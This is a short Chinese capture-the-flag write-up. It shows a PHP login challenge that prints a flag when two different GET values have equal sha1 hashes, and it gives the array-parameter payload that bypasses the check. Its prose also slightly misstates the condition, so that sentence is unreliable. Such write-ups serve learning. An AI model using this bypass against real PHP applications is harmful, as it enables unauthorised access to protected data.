

源码如下:

```
1 <?php
2 show_source("07.php");
3 echo '<br>';
4 require 'flag.php';
5
6 if (isset($_GET['name']) and isset($_GET['password']))
7 {
8     if ($_GET['name'] == $_GET['password'])
9         echo '<p>Your password can not be your name!</p>';
10    else if (sha1($_GET['name']) === sha1($_GET['password']))
11        die('Flag: '.$flag);
12    else
13        echo '<p>Invalid password.</p>';
14 }
15 else
16    echo '<p>Login first!</p>';
17 ?>
```

查看代码, 要求存在name和password两个get
两者的sha1值不能相同, 所以直接想到数组绕过

PAYLOAD:

```
1 ?name[]=&password[]=1
```
